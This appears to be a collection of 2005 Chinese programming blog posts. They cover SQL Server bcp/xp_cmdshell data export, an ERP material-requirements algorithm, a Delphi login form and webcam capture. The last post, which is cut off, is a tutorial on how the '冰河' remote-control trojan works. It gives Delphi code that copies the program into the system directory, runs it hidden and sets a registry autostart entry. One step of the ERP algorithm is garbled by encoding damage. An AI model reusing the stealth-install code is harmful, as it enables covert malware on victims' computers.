EXEC sp_xml_removedocument @idoc

???????

/**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件

假设Excel中有两列，第一列为姓名，第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分，前8位和后8位分开。

邹健：
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.

insert into
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Text;HDR=Yes;DATABASE=C:\'
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'
--,Sheet1$)
)...[Sheet1$]

如果你想直接插入并生成文本文件,就要用bcp

declare @sql varchar(8000),@tbname varchar(50)

--首先将excel表内容导入到一个全局临时表
select @tbname='[##temp'+cast(newid() as varchar(40))+']'
,@sql='select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into '+@tbname+' from
opendatasource(''MICROSOFT.JET.OLEDB.4.0''
,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls''
)...[Sheet1$]'
exec(@sql)

--然后用bcp从全局临时表导出到文本文件
set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c'
exec master..xp_cmdshell @sql

--删除临时表
exec('drop table '+@tbname)

/********************导整个数据库*********************************************/
[Page]

用bcp实现的存储过程

/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',1
----导出整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',1

--导入调用示例
----导入单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',0
----导入整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',0

*/
if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200) --服务器名
,@username varchar(200) --用户名,如果用NT验证方式,则为空''
,@password varchar(200) --密码
,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt
,@isout bit --1为导出,0为导入
as
declare @sql varchar(8000)

if @tbname like '%.%.%' --如果指定了表名,则直接导出单个表
begin
set @sql='bcp '+@tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+'" /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)<>'\' set @filename=@filename+'\'

set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U'''
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql='bcp '+@tbname+'..'+@m_tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+@m_tbname+'.txt " /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go

/************* Oracle **************/
EXEC sp_addlinkedserver 'OracleSvr',
'Oracle 7.3',
'MSDAORA',
'ORCLDB'
GO

delete from openquery(mailser,'select * from yulin')

select * from openquery(mailser,'select * from yulin')

update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888

insert into openquery(mailser,'select disorder,catago from yulin')values(333,777)

补充：

对于用bcp导出,是没有字段名的.

用openrowset导出,需要事先建好表.

用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入

cyberfan 2005-08-12 15:56 发表评论

一种实用的ERP核心算法及应用

cyberfan — Fri, 12 Aug 2005 07:56:00 GMT

ERP软件是提升企业管理效率极具威力的工具，目前国内许多企业都在准备采用ERP软件。笔者通过自己的实际应用和设计经验，介绍一种实用的ERP核心算法，适合国内中小规模企业（3000人以下企业）的使用。
ERP软件是提升企业管理效率极具威力的工具，目前国内许多企业都在准备采用ERP软件。笔者通过自己的实际应用和设计经验，介绍一种实用的ERP核心算法，适合国内中小规模企业（3000人以下企业）的使用。

　　ERP软件的核心
　　ERP就是企业资源管理，它的前身是MRP，即物料需求管理，MRP最早应用于生产制造企业，生产制造企业收到各种各样的订单时，单凭手工和经验往往不能很好地解决这样一个问题: 手头物料够不够用？什么时候需要采购什么物料？采购量为多少合适？而MRP可以很好地计算出物料需求，从而帮助企业管理人员做好物料的采购准备工作，既能保证生产不缺料，又不会积压大量的库存。物的流动与积压往往伴随着资金的流动与积压，所以后来MRP中加进了财务模块，在财务上对物流与库存进行有效的管理，这就是MRPII，即第二代的MRP。将MRP管理的思想发挥得最为极至的当数日本的丰田汽车公司，丰田倡导的"零库存"，"JIT"（及时供应）的先进管理概念在世界上备受推崇。零库存就是要尽可能地降低库存，因为任何库存都意味着资金的积压。而JIT（及时供应）就是说企业在最恰当的时候收到恰当的物料，既不缺料，也不会积压。

　　现代企业的客户和供应商的地域范围都大大扩展了，不少企业在全国乃至全世界范围进行销售和采购，这样物料流动的成本是很高的。对此笔者就有切身的体会，笔者几年前在广东一家外资企业做生产管理工作，有一次接到一张重要的订单，开始生产后才发现，生产过程必需的铜线很快就要断料了，这种铜线是我国台湾省供应的，平常都提前几个月大批订货，从台湾海运过来。为了让生产线不停工（生产线停工的成本也很高的），只好让台湾的供应商马上空运（经香港中转）几轴铜线过来应急，这样平白多花了近万元的空运费。

　　当前，制造企业面临着更大的挑战，因为个性化的时代需求意味着更多的款式，更小的批量，这样在物料的采购和生产的管理上难度都比大批量的制造难得多。十年八年不变地只生产单一的产品已经成为历史，现在就算比竞争对手慢一步推出新产品也会给企业带来不少损失。如在中国移动通信市场上，摩托罗拉的大块头模拟手机曾经独步天下，风光一时，后来爱立信公司推出了小巧玲珑的数字手机，一下子成为了市场的宠儿，后来几年，爱立信公司的手机款式一直没有多少改变，而诺基亚却不断地推出新潮的款式，得到市场的认可，迅速成为手机市场的新宠。

　　MRPII确实极大地帮助了企业应付这些挑战，不过它自己也需要变革以应付更多的挑战。企业的管理主要包括：人（人力资源）、财（资金）、物（物料、产品和机器设备、厂房等），MRPII软件的管理范围还没有包括全部企业管理资源。ERP软件进一步扩大了MRPII软件的管理范围，它把MRP中"物"的范畴扩大到企业所有可管理的资源，如人力资源，机器设备能力等等。

　　ERP最核心的功能是帮助企业管理好可用资源，这其中最重要的当然还是财（资金）、物（物料、产品）。

　　物料清单(BOM)
　　所有的ERP软件都离不开物料清单（BOM），BOM是所有ERP运算的基础，对资源的管理就是在BOM的基础上做BOM的展开运算。BOM是产品的配方，它列出制造某一种产品所需要的所有物料的清单。每个企业生产的产品不同，所用的材料不同，因而BOM是不同的。ERP软件能否成功实施，在很大程度上取决于能否整理出本企业的一个准确的BOM。在整理BOM时，需要分轻重，次要的无关紧要的物料可以不包括进去，这样就能抓住关键。

　　当有了一个产品配方在手时，就几乎等于拥有了解决企业资源管理问题的金钥匙，这样当收到了订单，或是按销售预测制定了生产计划后，就能计算反推出: 手头物料够不够用？什么时候需要采购什么物料？采购量为多少合适？在ERP软件中，"物"的范畴扩大到企业所有可管理的资源，如人力资源、机器设备能力等等，这样就能计算反推出：手头人力资源、机器设备能力够不够用？资金够不够用？能不能接这张订单？什么时候需要什么资源？多少量最合适？在ERP软件中，产品配方中也可以包括制造某一种产品所需要的人力资源、机器设备能力、资金等资源的清单。从这里也可以看出，在工程项目管理上，ERP也可以大展身手。所以说准备好本企业的一个准确的BOM已经成功了一半了。

　　不同的ERP系统采用不同的BOM存储结构，本文介绍的算法采用单层BOM存储结构，它的好处是简单、易用、扩展性好，可以实现无限的层次。图1是一个简单的BOM结构示意图。

　　这样的结构的另一个优点是BOM表的输入与维护相当容易，用户用Excel就可以准备BOM表了，比较方便。材料用量和材料提前准备日数是BOM的两个重要参数，它们分别从量和时间上控制实现"零库存"、"JIT"（及时供应）的最高目标。

　　有一点要注意到的是，现在所说的产品、材料是包括了所有资源的，而且产品与材料之间只是相对而言的。这样所有的资源（产品、物料及其他资源）都放到了一个数据库中，简化了管理，这也是ERP 带来的新概念。这样企业的BOM核心部分只有两个数据库，一个是资源库，它包括了所有的资源（产品、物料及其他资源）；另外一个就是材料构成表（BOM）。这样的好处在于：利用BOM做展开时就相当方便了，可以方便地扩展应用的范围，从基本的物料需求，到人力、机器设备等其他资源，再到资金、项目进度管理，而惟一需要做的就是将它们放到资源库里，所以这种结构能充分地展示ERP的优点。

　　本算法采用单层BOM存储结构的另外一个好处是：用户使用中很方便，不需要对资源（产品、物料及其他资源）做任何特别编码，也不需要理会层次的问题。这使得ERP的实施变得更简单，原来可能要花几个月甚至大半年来准备BOM，现在只要一两周可能已足够了。这对许多中国企业来说可能是非常重要的，因为资金雄厚的欧美大企业可以花上1～2年时间实施ERP系统，而许多中国企业整天都面临着生存发展的严峻问题，它们更需要快速的立杆见影的东西来提升自己的竞争力。

　　这种结构的另外一个优点是能够比较好地处理替代件问题。替代件问题是困绕MRP/ERP的老大难问题，当一个产品的生产既可以用A部件，也可以用B、C、D等部件时，电脑处理起来就会很费劲。而采用单一资源库以后，可以将替代件归类为一个虚拟类，并建立一个类，而BOM只引用该类。

　　同样，采用单一结构还能很好地简化BOM表，因为在许多企业，如鞋厂，不同尺码的鞋的BOM 差别往往在用量的多少，按比例地增加或减少，或大部分是相同的，而差别只在一两样配件上。单一结构就能很容易实现虚拟中间件，如一个鞋厂有10000种款式，每种鞋的物料有50种，如果单纯的相乘，就是10000×50 =500000种物料配方，而将各种款式分类后，通过增加一些虚拟中间件后，如A款鞋公用件，那么最终需要的物料配方可能不到20000就足够了，给实际应用和计算带来很大方便。

　　展开计算的核心算法
　　当BOM准备好以后，就可以进行ERP展开计算了，这里介绍一种展开算法。

　　算法的具体实现步骤是：

　　1. 清空临时数据库;
　　2. 从客户订单数据库读入实际订单或销售预测，插入到临时数据库中，这就是待展开的需求;
　　3. 从临时数据库读出需求，同时读取材料构成表（BOM）中相应的物料需求项，并插入到临时数据库中，这就是展开的子层需求;
　　4. 重复3，直到算完所有的层，或者算到用户指定的层（应该允许用户选择，特别是当层次数很多时）;
　　5. 从库存数据库读入手头的库存量，插入到临时数据库中，这就是库存量;
　　6. 从生产┑ナ菘舛寥胧滞返亩┑ィ迦氲搅偈笔菘庵校饩褪窃谥屏?
　　7. 从采购单数据库读入手头的采购单，插入到临时数据库中，这就是在购量。

　　部分关键代码如下:

　　'下面展开计算，从顶层到最底层
　　DoNextLevel:
　　MySqLcalling = "select * from ERPTemp where 状态<>1 order by 产品编号"
　　If Myrs.State = 1 Then Myrs.Close
　　Set Myrs = Nothing
　　Myrs.Open MySqLcalling, MyDE, adOpenStatic, adLockBatchOptimistic
　　Myrs.MoveFirst
　　产品编号 = -1
　　Do Until Myrs.EOF
　　If Myrs("状态") = 2 Then
　　Myrs("状态") = 0
　　GoTo ReachNewRecord
　　End If
　　If 产品编号<>Myrs("产品编号") Then
　　产品编号 = Myrs("产品编号")
　　MysqlERP ="select 产品编号，材料编号，材料用量，材料提前准备日数 from产品材料构成表where 产品编号="& Myrs("产品编号")
　　If MyDE.State= 0 Then MyDE
　　.Open
　　If MyRsERP.State = 1 Then MyRsERP.Close
　　MyRsERP.Open MysqlERP,
　　MyDE, adOpenForwardOnly, adLockReadOnly
　　End If
　　If Not MyRsERP.BOF Then
　　MyRsERP.MoveFirst
　　Do Until MyRsERP.EOF
　　TheNeededMonth = DateDiff("m", Now, DateAdd("d", -MyRsERP("材料提前准备日数"), Now()))
　　If TheNeededMonth< 1 Then TheNeededMonth = 0
　　If TheNeededMonth>12 Then TheNeededMonth = 12
　　If ERPbyWeek Then
　　'by week
　　TheNeededMonth = DateDiff("WW", Now, DateAdd("d", -MyRsERP("材料提前准备日数"), Now()))
　　If TheNeededMonth< 1 Then TheNeededMonth = 0
　　If TheNeededMonth > 52 Then TheNeededMonth = 52
　　End If
　　Myrsbookmark = Myrs.Bookmark
　　Myrs数量 = Myrs("数量")
　　Myrs.AddNew
　　Myrs("分组序号") = 4
　　Myrs("分组") = "需求量"
　　Myrs("状态") ="2"
　　Myrs("产品编号")=
　　MyRsERP("材料编号")
　　Myrs("数量") = MyRsERP("材料用量") * Myrs数量
　　Myrs("日期") = DateAdd("d", -MyRsERP("材料提前准备日数"), Now())
　　Myrs("月份") =
　　TheNeededMonth
　　Myrs.Bookmark = Myrsbookmark
　　MyRsERP.MoveNext
　　Loop
　　Else
　　Myrs("状态") = 1
　　End If
　　Myrs("状态") = 1
　　ReachNewRecord:
　　Myrs.MoveNext
　　Loop
　　MyRsERP.Close
　　Myrs.UpdateBatch
　　Myrs.Close
　　ERPlevel = ERPlevel + 1
　　DoEvents
　　If ERPStop Then GoTo ErrorHandle
　　If CalcLevel = -1 Then
　　GoTo DoNextLevel
　　Else
　　If ERPlevel< CalcLevel Then GoTo DoNextLevel
　　End If
　　Else
　　'OK, 结束
　　End If

　　大家可以注意到，由于上面采用了单层BOM存储结构，所以展开计算的算法就相当简单了，由于不需要特别的产品编码，BOM的输入与维护也非常简单。另外，大家还可以注意到，算法完全不用递归嵌套，因而可以加快运行速度。

　　展开计算完毕以后，就可以利用交叉表调出临时数据库中的数据，进行浏览、分析和打印了。这样需求量与供应量（库存量、在制量、在购量）就摆在了一起进行比较，管理者就能够很直观、清楚地看出各种资源现有多少，需求量有多少；管理人员可以据此做采购和生产的计划。而计划可以是主计划，也可以是细计划，取决于用户选定要展开到哪层，如果展开所有的层，那么所有的细计划，如车间计划，每个车间的人力、设备安排都会被包括在内。

　　本算法采用Access数据库，在VB 6.0上调试实现，由于采用了特别的算法设计，使得既可以实现无限的层次，又不用递归嵌套。对于国内中小规模企业（3000人以下，产品、材料条目总数在50000以下）来说，利用Access开发的小ERP系统可以很好地实现企业的现代化管理，应付日常的管理需求。

　　ERP只是一种企业资源计算器
　　ERP是一种有效的管理工具，可以对企业内部的资源进行有效管理，明显减少积压库存，加快资金周转率，降低成本。在当前激烈的市场竞争环境下，谁能比别人以更低的成本生产出更美更好的产品，谁就能成为市场的领导者。美国石油大王洛克菲勒成功最根本的原因是他在成本管理上严密精细。他能准确地查阅并分析下面呈报上来的开支和成本，销售及损益数据，并以此考核每个分厂的工作。

　　现实生活中，企业管理层，特别是实际操作的一线主管，很少会每个人都有洛克菲勒那样的数字分析天分，而且不少企业比油厂复杂得多，所以ERP等工具就像是一种企业资源计算器，如果企业严格按它的规程去做，那么它就能比洛克菲勒还要精确地分析处理数据。

　　如果洛克菲勒今天还在世，他一定也会借助于强大的电脑来管理庞大的业务。不过工具毕竟是工具，最智慧的还是应用它的人。如果一个企业家有洛克菲勒那样的经营智慧，就算用手工算，他也肯定是按照着这种管理理念在卓有成效地工作。

　　所以最智慧的不是机器而是应用它的人，ERP只是一种企业资源计算器，就像会计人员手里的算盘、计算器一样，只是一种工具。

　　总结
　　ERP的实施中，最重要的一点在于一定要把握住关键，而忽略一些次要的因素，这对各方面的管理与规范相差甚远的国内企业来说尤为关键。这样抓住了本质以后，实施的成功就是必然的了。另外必须要注意到，ERP软件只是一种工具而已，企业管理应用者的智慧有多高，软件应用的水平就有多高。100万元的ERP软件和1万元的ERP软件的差别，除了功能和可靠性外，还有很重要的一点在于前者通过具体实施的过程，将一套很完善的管理方法和管理理念灌输给企业管理应用者，这也就是人们常说的知识的价值。

cyberfan 2005-08-12 15:56 发表评论

怎样作登录窗体

cyberfan — Fri, 12 Aug 2005 07:55:00 GMT

⑴让登录窗体在主窗体运行前打开，
⑵根据登录窗体返回值判断主窗体是否应该运行。
详细代码如下：

//project.dpr文件

program project;
... ...
... ...

begin
Application.Initialize;

EntryFrm:=TEntryFrm.Create(application); //登录窗口
if EntryFrm.ShowModal=mrOK then //登录窗体关闭时返回了mrOK值，说明登录成功
begin
Application.CreateForm(TMainFrm, MainFrm);
//其它auto-create forms
end;
EntryFrm.Free;
application.Terminate

Application.Title := '某某管理系统';
Application.Run;
end.

//entry.pas 登录窗体文件
var
count:short; //登录次数

{$R *.dfm}

procedure TEntryFrm.BitBtn2Click(Sender: TObject);//取消登录
begin
application.Terminate;
end;

procedure TEntryFrm.BitBtn1Click(Sender: TObject);//确定登录
begin
Inc(count);
ID:=edit1.Text; //帐号
Pas:=edit2.Text; //密码;ID,Pas是全局变量

//※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※//
IDInfo.Open;
if IDInfo.Locate('ID',ID,[]) then
begin
if StrEncry(IDInfo.FieldByName('Pas').AsString)=Pas then //密码解密,登录成功
begin
Pop:=IDInfo.fieldbyname('Pop').AsString; //取得权限
writelog(ID,'登录'); //写入日志
self.ModalResult:=mrOK; //关闭窗口并返回mrOK值
end;
end;
if count>=3 then self.ModalResult:=mrabort; //只允许登录3次
IDInfo.Close;
//※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※//

edit1.Text:='';
edit2.Text:='';
edit1.SetFocus;
end;

cyberfan 2005-08-12 15:55 发表评论

Delphi编程控制摄像头

cyberfan — Fri, 12 Aug 2005 07:54:00 GMT

你的电脑有没有摄像头？看到别人用QQ玩视屏你会不会去想怎么实现的？
这里介绍使用DELPHI使用MS的AVICAP32.DLL就可轻松的实现对摄像头编程，
如果再加上你的网络编程水平，实现一个视屏聊天就不成什么问题了。
看看下面代码的代码：

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;
const WM_CAP_SEQUENCE_NOFILE =WM_CAP_START+ 63
const WM_CAP_SET_OVERLAY =WM_CAP_START+ 51
const WM_CAP_SET_PREVIEW =WM_CAP_START+ 50
const WM_CAP_SET_CALLBACK_VIDEOSTREAM = WM_CAP_START +6;
const WM_CAP_SET_CALLBACK_ERROR=WM_CAP_START +2;
const WM_CAP_SET_CALLBACK_STATUSA= WM_CAP_START +3;
const WM_CAP_SET_CALLBACK_FRAME= WM_CAP_START +5;
const WM_CAP_SET_SCALE=WM_CAP_START+ 53
const WM_CAP_SET_PREVIEWRATE=WM_CAP_START+ 52

function capCreateCaptureWindowA(lpszWindowName : PCHAR; dwStyle : longint; x : integer;
y : integer;nWidth : integer;nHeight : integer;ParentWin : HWND;
nId : integer): HWND;STDCALL EXTERNAL ‘AVICAP32.DLL‘;

上面的代码就是我们主要用到的一个函数和常量的定义。

好了，打开你的Delphi，新建一个工程，将上面的定义加上吧。

新建一个窗口，放个Panel上去，添加一个按钮，Caption设置为"开始"
这里需要定义一个全局变量，var hWndC : THandle;

开始按钮代码如下：

begin
hWndC := capCreateCaptureWindowA(‘My Own Capture Window‘,WS_CHILD or WS_VISIBLE ,Panel1.Left,Panel1.Top,Panel1.Width,Panel1.Height,Form1.Handle,0);

hWndC := capCreateCaptureWindowA(‘My Own Capture Window‘,WS_CHILD or WS_VISIBLE ,Panel1.Left,Panel1.Top,Panel1.Width,Panel1.Height,Form1.Handle,0);
if hWndC <> 0 then
begin
SendMessage(hWndC, WM_CAP_SET_CALLBACK_VIDEOSTREAM, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_ERROR, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_STATUSA, 0, 0);
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
SendMessage(hWndC, WM_CAP_SET_SCALE, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEWRATE, 66, 0);
SendMessage(hWndC, WM_CAP_SET_OVERLAY, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEW, 1, 0);
end;
按F9运行一下，怎么样，是不是可以看到摄像头的视屏了？

那怎么停下来？再加个按钮caption设置成"停止"
代码如下：
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;

视屏截到了，怎么把它给保存下来呢？

下面按两种方式保存，一个是BMP静态图，一个是AVI动画。

再放三个按钮到窗体上去，caption分别设置成"保存BMP"、"开始录像"、"停止录像"
三个按钮的代码分别如下：

//保存BMP
if hWndC <> 0 then begin
SendMessage(hWndC,WM_CAP_SAVEDIB,0,longint(pchar(‘c:\\test.bmp‘)));
end;

//开始录像
if hWndC <> 0 then
begin
SendMessage(hWndC,WM_CAP_FILE_SET_CAPTURE_FILEA,0, Longint(pchar(‘c:\\test.avi‘)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;

//停止录像
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
end;

再运行看看吧。。可以保存几张图看看，也可以录成AVI以后慢慢欣赏。

程序运行效果： [ 相关贴图 ]
http://yousoft.hi.com.cn/upload/forum/2004715161959.jpg

完整的程序代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
hWndC : THandle;
public
{ Public declarations }
end;

var
Form1: TForm1;

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;
const WM_CAP_SEQUENCE_NOFILE =WM_CAP_START+ 63
const WM_CAP_SET_OVERLAY =WM_CAP_START+ 51
const WM_CAP_SET_PREVIEW =WM_CAP_START+ 50
const WM_CAP_SET_CALLBACK_VIDEOSTREAM = WM_CAP_START +6;
const WM_CAP_SET_CALLBACK_ERROR=WM_CAP_START +2;
const WM_CAP_SET_CALLBACK_STATUSA= WM_CAP_START +3;
const WM_CAP_SET_CALLBACK_FRAME= WM_CAP_START +5;
const WM_CAP_SET_SCALE=WM_CAP_START+ 53
const WM_CAP_SET_PREVIEWRATE=WM_CAP_START+ 52

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;x : integer;y : integer;nWidth : integer;
nHeight : integer;ParentWin : HWND;nId : integer): HWND;
STDCALL EXTERNAL ‘AVICAP32.DLL‘;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA(‘My Own Capture Window‘,WS_CHILD or WS_VISIBLE ,Panel1.Left,Panel1.Top,Panel1.Width,Panel1.Height,Form1.Handle,0);

hWndC := capCreateCaptureWindowA(‘My Own Capture Window‘,WS_CHILD or WS_VISIBLE ,Panel1.Left,Panel1.Top,Panel1.Width,Panel1.Height,Form1.Handle,0);
if hWndC <> 0 then
begin
SendMessage(hWndC, WM_CAP_SET_CALLBACK_VIDEOSTREAM, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_ERROR, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_STATUSA, 0, 0);
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
SendMessage(hWndC, WM_CAP_SET_SCALE, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEWRATE, 66, 0);
SendMessage(hWndC, WM_CAP_SET_OVERLAY, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEW, 1, 0);
end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC,WM_CAP_SAVEDIB,0,longint(pchar(‘c:\\test.bmp‘)));
end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if hWndC <> 0 then
begin
SendMessage(hWndC,WM_CAP_FILE_SET_CAPTURE_FILEA,0, Longint(pchar(‘c:\\test.avi‘)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
end;
end;

end.

如果电脑没有摄像头，但又想看看程序的效果，可以么？
呵呵，当然可以，找个虚拟摄像头不就搞定，大家可以试试SoftCam这个软件，它是一个名副其实的软件摄像机，
能模拟成为“真实的”摄像机，提醒一下各位，大家可不要用这个东东用在QQ，MSN等聊天软件上欺骗MM或GG啊。

关于摄像头编程，大家也可以看看这组VCL组件：DSPack，DSPack是一套使用微软Direct Show和DirectX技术的类和组件，设计工作于DirectX 9，支持系统Win9X, ME, 2000和Windows XP。
好了，就介绍这些了，至于视屏聊天怎么实现，就看你的了，无非是按数据压缩传输给对方，显示出来，不过话又说回来，看似简单，实现起来还有些难度的。

源代码下载：
[ 点击下载 ]
http://yousoft.hi.com.cn/upload/forum/2004715170626.rar

cyberfan 2005-08-12 15:54 发表评论

"冰河" 启示录(Delphi篇)

cyberfan — Fri, 12 Aug 2005 07:54:00 GMT

前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域，我们理应宁可自制力让我们的预见力保持寂寞，也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3

(1)

“冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发.
一、程序安装
此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com
1:自我拷贝法
这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法.
一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序.
修改dpr项目文件，修改begin和end之间的代码如下：
begin
Application.Initialize;
if FindWindow('TForm1','Form1')=0 then begin
//当没有找到Form1时执行下面代码
Application.ShowMainForm:=False; //不显示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。
这样做的好处在于方便升级.它会自动用新版本覆盖旧版本.
方法如下:修改dpr项目文件
uses
Forms,windows,messages,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
var Exehandle:Thandle;
begin
//获得句柄-->标题确定
ExeHandle:=findWindow(nil,'syspler');//返回句柄
if ExeHandle<>0 then SendMessage(ExeHandle,WM_Close,0,0); //关闭程序
Application.Initialize;
Application.Title := 'syspler';
Application.ShowMainForm:=False; //不显示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
